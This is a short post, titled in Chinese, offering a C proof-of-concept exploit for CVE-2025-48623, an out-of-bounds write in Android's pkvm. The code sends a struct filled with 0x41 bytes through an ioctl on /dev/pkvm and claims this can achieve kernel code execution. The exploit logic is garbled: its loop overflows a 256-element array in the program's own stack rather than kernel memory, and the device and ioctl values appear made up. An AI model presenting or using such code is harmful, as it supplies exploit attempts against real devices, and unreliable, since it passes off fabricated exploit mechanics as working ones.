CVE-2025-48623 Android pkvm内核越界写入本地权限提升漏洞

// CVE-2025-48623 PoC - Android pkvm init_pkvm_hyp_vcpu out-of-bounds write // This is a conceptual PoC demonstrating the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Linux kernel ioctl definitions for pkvm #define PKVM_IOCTL_BASE 0x9B #define PKVM_IOCTL_INIT_VCPU PKVM_IOCTL_BASE + 0x01 struct pkvm_vcpu_init { unsigned long vcpu_id; unsigned long stack_addr; unsigned long entry_point; unsigned long registers[16]; unsigned long padding[256]; // Malicious padding to trigger OOB write }; int main() { int fd; struct pkvm_vcpu_init vcpu_init; printf("[*] CVE-2025-48623 PoC - pkvm out-of-bounds write\n"); printf("[*] Target: Android kernel pkvm (Protected Kernel Virtual Machine)\n"); // Open pkvm device fd = open("/dev/pkvm", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/pkvm device\n"); printf("[*] Note: This exploit requires kernel access and proper device nodes\n"); return -1; } // Initialize vcpu structure with malicious values memset(&vcpu_init, 0x41, sizeof(vcpu_init)); // Fill with 0x41 (A) vcpu_init.vcpu_id = 0; vcpu_init.stack_addr = 0xFFFFFFFC00000000; vcpu_init.entry_point = 0xFFFFFFFC00001000; // Overflow the padding array to trigger OOB write // The vulnerability occurs when input validation is bypassed // causing writes beyond allocated buffer boundaries for (int i = 0; i < 512; i++) { vcpu_init.padding[i] = 0x4141414141414141ULL; } printf("[*] Sending malicious ioctl to trigger OOB write...\n"); // Trigger the vulnerable code path long result = ioctl(fd, PKVM_IOCTL_INIT_VCPU, &vcpu_init); if (result < 0) { printf("[-] ioctl failed (expected in patched systems)\n"); } else { printf("[+] ioctl succeeded - potential code execution achieved\n"); } close(fd); return 0; } // Note: This PoC is for educational purposes only. // Actual exploitation requires specific kernel configuration and device access. // The vulnerability allows local privilege escalation from user to kernel context.